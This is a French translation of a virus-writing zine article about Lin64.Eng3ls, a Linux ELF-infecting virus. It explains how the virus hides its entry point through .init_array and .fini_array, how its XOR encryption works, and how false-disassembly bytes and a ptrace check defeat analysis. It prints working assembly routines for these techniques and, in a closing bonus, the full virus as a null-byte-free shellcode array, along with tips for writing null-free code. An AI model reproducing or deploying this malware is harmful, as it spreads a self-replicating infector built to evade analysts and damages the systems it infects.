┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █ █ │ │ █ █ █ █ █▀▀▀▀ │ │ █ █ █ █ ▄ │ │ ▄▄▄▄▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄ ▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄▄▄▄▄ │ │ █ │ Lin64.Eng3ls : des techniques d'anti-RE dans un virus Linux │ █ │ ~ S01den & sblip └───────────────────█ ──┘ [ Traduction par 0xNinja ] Écrit avec amour par S01den. mail : S01den@protonmail.com --- Introduction --- Avec Sblip, nous avons travaillé pendant une semaine sur Lin64.Eng3ls pour un évènement privé. Eng3ls est en fait Lin64.Kropotkine[0], la méthode d'infection est toujours le bon vieux PT_NOTE dans le segment PT_LOAD, mais nous avons ajouté des techniques d'obfuscation. En effet, Kropotkin n'est pas furtif du tout : le point d'entrée des binaires infectés est modifié pour pointer directement sur le virus, et le code viral est en clair (facile à analyser). Pour pallier ces problèmes, nous avons fait un "chiffreur/déchiffreur" à base de xor oligomorphique (très original vous me direz) pour le corps du virus, avec la clé qui change à chaque infection pour que le code répliqué soit différent. Cependant ce polymorphisme du pauvre a comme grand désavantage d'avoir un code de déchiffreur qui ne change pas. C'est pourquoi, sans marabouterie, un reverser pourra comprendre assez vite comment le virus est chiffré, et ce qu'il fait. C'est pourquoi j'ai implémenté pour la première fois dans un de mes virus, la technique de "false-disassembly" polymorfique (ou simplement "faux polymorphisme") pour obfusquer le déchiffreur. Allez voir mon papier sur cette technique pour comprendre comment ça fonctionne et les résultats ! (Il suffit de tourner la page du zine) Mais il subsidait encore un problème : le point d'entrée des binaires infectés pointe vers le virus, pas discret du tout ! Voyons voir comment nous avons résolu ça... --- Une technique d'obsursissement de point d'entrée pour ELF --- /!\ Cette technique ne fonctionne pas pour les binaires avec PIE /!\ L'obsursissement de point d'entrée (OPE) est simplement l'action, pour un virus, de cacher l'adresse de sa première instruction. Dans les virus sans OPE, le point d'entrée d'un programme infecté est modifié pour pointer vers le début du virus, alors que dans des virus avec OPE, comme ici, le virus est appelé par un autre moyen. Que ça soit en cachant un jump dans le code de l'hôte ou bien, comme ici, en abusant une spécificité du format d'exécutable. Dans les ELFs le point d'entrée n'est, en fait, pas la première adresse à être exécutée quand le programme est lancé. Il y a des routines d'initialisation de la glibc, qui in fine chargent main(). Je ne vais pas expliquer en détails comment ça fonctionne, il existe déjà un super papier à ce sujet[1]. Il faut simplement garder à l'esprit que nous allons détourner les sections .init_array et .fini_array, qui contiennent respectivement un pointeur vers le constructeur et un pointeur vers le destructeur du binaire. C'est pourquoi l'adresse du code dans .init_array est exécuté avant le point d'entrée. C'est exactement ce que nous voulons ! J'ai choisi d'implémenter dans un premier temps une petite technique d'anti-debug, une vérification de ptrace pour voir si le processus est tracé (donc debugué ou stracé) ou pas. Le classique "if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(0);"... Facile à contrer (patch le virus, ou mettre rax = 0 dans GDB au moment de la comparaison)... Donc je l'ai rendu plus dur à détecter ! ------------------------- FIN DE PAGE ----------------------------------------------- check_dbg: push rbp mov rbp, rsp jmp jmp_over4+2 jmp_over4: db `\x41\xba` ; false disassembly mov rax, 101 ; sys_ptrace xor rdi, rdi ; PTRACE_TRACEME xor rsi, rsi xor r10, r10 xor rdx, rdx inc rdx jmp jmp_over6+2 jmp_over6: db `\xe9\x94` ; false disassembly syscall jmp jmp_over5+2 jmp_over5: db `\x49\x81` ; false disassembly cmp rax, 0 jge continue mov rax, 60 xor rdi, rdi syscall continue: pop rbp ret ------------------------------------------------------------------------------------- J'ai mis des octets de false-disassembly (qui changent à chaque infection) dans la routine et fais en sorte de l'appeller avant main() en abusant .init_array. Et donc, si debugué, le virus stop son exécution, même avec un point d'arrêt callé sur le point d'entrée. Concernant le virus, je l'appel à la fin en abusant .fini_array. Voici les routines que j'ai écris pour analyser les entêtes de sections, pour trouver .init_array et .fini_array et les modifier. ------------------------- FIN DE PAGE ----------------------------------------------- parse_shdr: xor rcx, rcx xor rdx, rdx mov cx, word [rax+e_hdr.shnum] ; rcx = # of entries in the program header table mov rbx, qword [rax+e_hdr.shoff] ; rbx = offset of the program header table mov dx, word [rax+e_hdr.shentsize] ; rdx = size of a program header table entry loop_shdr: add rbx, rdx dec rcx cmp dword [rax+rbx+e_shdr.type], 0x0E ; 0x0F = SHT_INIT_ARRAY, the section we're ; looking to modify to put the debugging ; check (.init_array) je ctor_found cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, the section we're ; looking to modify to EPO (.fini_array) je dtor_found cmp rcx, 0 jg loop_shdr dtor_found: mov rdi, qword [rax+rbx+e_shdr.offset] mov [rax+rdi], r9 ; r9 holds the addr of the converted segment, the one where we ; are writing the virus jmp write_vx ctor_found: mov rdi, qword [rax+rbx+e_shdr.offset] add r9, 0x86 ; r9+0x86 = the addr where check_dbg begins mov [rax+rdi], r9 sub r9, 0x86 jmp loop_shdr ------------------------------------------------------------------------------------- --- Conclusion --- Modifier un point d'entrée c'est boiteux, il faut obsursir ce dernier avec des astuces comme le détournement de .init_array et .fini_array à la place. Ajouter quelques ruses d'anti-RE pour améliorer vos virus : une pincée de chiffrement par ci, une cuillèrée de détection de debug par là... J'espère que vous avez aprécié cet article et que vous avez appris des choses. Pour aller plus loin, j'ai fais un crackme avec les mêmes techniques que Eng3ls. Juste ici : https://crackmes.one/crackme/6049f27f33c5d42c3d016dea --- Bonus --- J'ai fais une version sans Null-byte du virus. Code sans Null-byte + Position Independent = shellcode \o/ Donc voici une version shellcode du virus : unsigned char shellcode[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc9\x4d" "\x31\xc0\x49\x89\xe6\x48\x81\xc4\xe8\xc3\x11\x11\x48\x81\xec\xde" "\xc0\x11\x11\x49\x89\xe7\xeb\x7c\x58\x48\x2d\x87\xc1\x11\x11\x48" "\x05\xde\xc0\x11\x11\x50\x41\x5c\x68\xe8\xc3\x11\x11\x5e\x48\x81" "\xee\xde\xc0\x11\x11\x48\x81\xc6\xe8\xc3\x11\x11\x48\x81\xee\xde" "\xc0\x11\x11\x48\x31\xff\x6a\x07\x5a\x6a\x22\x41\x5a\x6a\x09\x58" "\x0f\x05\x48\x89\xc3\x56\x59\xb0\x54\x48\x31\xd2\x41\x8a\x14\x3c" "\x48\x81\xc7\xde\xc0\x11\x11\x48\x81\xff\x86\xc1\x11\x11\x76\x02" "\x30\xc2\x48\x81\xef\xde\xc0\x11\x11\x88\x14\x3b\x48\xff\xc7\xe2" "\xdb\x49\x89\xdf\x48\x81\xc3\x87\xc1\x11\x11\x48\x81\xeb\xde\xc0" "\x11\x11\xff\xe3\xe8\x7f\xff\xff\xff\x1c\xd5\x90\x5e\x57\x54\x54" "\x1c\xd5\x90\x5e\x57\x54\x54\x1c\xd5\x90\x54\x55\x54\x54\xbd\x6b" "\x56\x54\x54\x0b\xec\x56\x54\x54\x54\x1c\x65\xa2\x5b\x51\x1c\xdd" "\x93\xec\x8d\x54\x54\x54\x1c\xdd\xb2\xee\x54\x50\x54\x54\x5b\x51" "\x1c\xd7\xac\x54\x5b\xd8\xb1\x55\x54\x54\x1d\xdd\x91\x1c\x65\x8f" "\x1c\xdd\xb4\x1c\xd7\x94\x47\x1c\xdd\x92\xeb\x55\x54\x54\x54\x1c" "\x65\x9d\xde\x18\x70\x46\x07\xbc\x42\x54\x54\x54\x0f\x32\xdf\x10" "\x70\x44\x1c\x55\x97\x1c\x55\x90\x18\x6d\xbf\x28\x87\xbd\xf9\x55" "\x54\x54\x1c\xdd\xb1\x1c\xd7\xad\x5c\x21\x05\x1c\xdd\xa3\xec\x56" "\x54\x54\x54\xea\x56\x50\x54\x54\x5b\x51\x1c\xd7\xac\x54\x2a\x68" "\x1c\xdd\x97\x1c\xdd\xb2\x18\x7d\xba\xec\x50\x54\x54\x54\x5b\x51" "\x1d\xdd\x8c\x1c\xdf\x22\x64\xeb\x54\x54\x54\x54\xee\x52\x54\x54" "\x54\x19\x65\x9d\x15\xee\x55\x54\x54\x54\x1c\x65\x94\xec\x5d\x54" "\x54\x54\x5b\x51\xd5\x6c\x2b\x11\x18\x12\x20\x45\xec\x57\x54\x54" "\x54\x1c\xdd\x8b\x5b\x51\x1c\x65\x94\x1c\xdd\xb8\x97\xd4\x2c\x50" "\x56\x20\x56\xbf\xb3\x32\xd7\x2c\x44\x56\x20\x56\xbf\x8a\xd5\x2c" "\x5d\x8a\x94\xf9\x8a\x21\x53\x1c\x65\x94\x1c\xdd\xb8\x97\x1c\x65" "\x9d\x1c\x65\x86\x32\xdf\x1c\x6c\x1c\xdf\x0c\x74\x32\xdf\x04\x62" "\x1c\x55\x87\x1c\xab\x9d\xd7\x68\x4c\x50\x20\x52\x1c\xd7\xad\x54" "\x2b\xba\x93\x14\x5d\x8a\x94\xf9\x8a\x93\x50\x4c\x55\x54\x54\x54" "\x93\x10\x4c\x50\x53\x54\x54\x54\x15\xed\x54\x54\x54\x58\x1d\x55" "\xa5\x18\xdd\x18\x4c\x44\x1c\xdf\x28\x4c\x74\x1c\xd5\x93\x5e\x57" "\x54\x54\x1c\xdd\x28\x4c\x74\x1c\xdf\x28\x4c\x7c\x1c\xd5\x93\x5e" "\x57\x54\x54\x1c\xdd\x28\x4c\x7c\x1c\xdd\x20\x4c\x5c\x1c\x65\x9d" "\x1c\x65\x86\x32\xdf\x1c\x68\x1c\xdf\x0c\x7c\x32\xdf\x04\x6e\x1c" "\x55\x87\x1c\xab\x9d\xd7\x28\x4c\x50\x5b\x20\x52\x1c\xd7\xad\x54" "\x2b\xb9\x1c\xdf\x28\x4c\x4c\x18\xdd\x58\x6c\xee\x50\x54\x54\x54" "\x1c\xdd\x93\xec\x4e\x54\x54\x54\x5b\x51\xec\x5f\x54\x54\x54\x5b" "\x51\x5b\x65\x32\x61\xf9\x8a\x15\xde\x1b\x3c\x15\xdc\x13\x3c\x1c" "\x65\x86\x1c\x65\x8f\x15\xde\x48\x43\x15\xdc\xc8\x43\x5e\x57\x54" "\x54\x1c\xab\x96\x1c\xd5\xae\xfd\x54\x54\x54\x21\xbc\x15\xde\x48" "\x43\x64\x97\x15\xdc\xc8\x43\x5e\x57\x54\x54\x1c\xab\x96\x1c\xd5" "\xae\x5e\x57\x54\x54\x21\xb2\x18\xdd\x93\x18\xdd\xaa\x1c\xd5\x92" "\x5e\x57\x54\x54\xee\x5e\x57\x54\x54\x1c\xd7\x96\x7a\xec\x55\x54" "\x54\x54\x5b\x51\xec\x57\x54\x54\x54\x5b\x51\x1c\xdd\xb8\x97\xec" "\x55\x54\x54\x54\x1c\x65\xab\x1c\xab\x93\x3c\x5e\x0c\x0b\x0c\x1c" "\xdd\xb2\xee\x50\x54\x54\x54\x5b\x51\xec\x68\x54\x54\x54\x5b\x51" "\x1c\x65\x9d\x1c\x65\x8f\x1c\x65\x94\x1c\x65\x86\x97\x1c\xdf\x50" "\x70\x97\xbc\xe8\xa9\xab\xab\x7a\x54\x54"; Ne soyez pas stupides et ne diffusez pas ça n'importe où. Nous ne sommes pas responsables de ce que vous en faites. --> 2 techniques pour faire du code sans nullbytes : 1) Remplacer les mov par des push Exemple : b809000000 mov eax, 9 ----> 6a09 push 0x9 58 pop rax 2) La technique add/sub : Des fois les valeurs ajoutées à un registre utilise des nullbytes. On peut les retirer en add/sub une valeur. Exemple : 4881c4890300 add rsp, 0x389 ----> 4881c4e8c311 add rsp, 0x1111c3e8 ^ // 0x1111c3e8 = 0x389 + 0x1111c0de 4881ecdec011 sub rsp, 0x1111c0de --- Notes et Références --- [0] https://github.com/vxunderground/MalwareSourceCode /blob/main/VXUG/Linux.Kropotkine.asm [1] Abusing .CTORS and .DTORS for fun 'n profit https://www.exploit-db.com/papers/13234 --- Source --- - Linux.Eng3ls.asm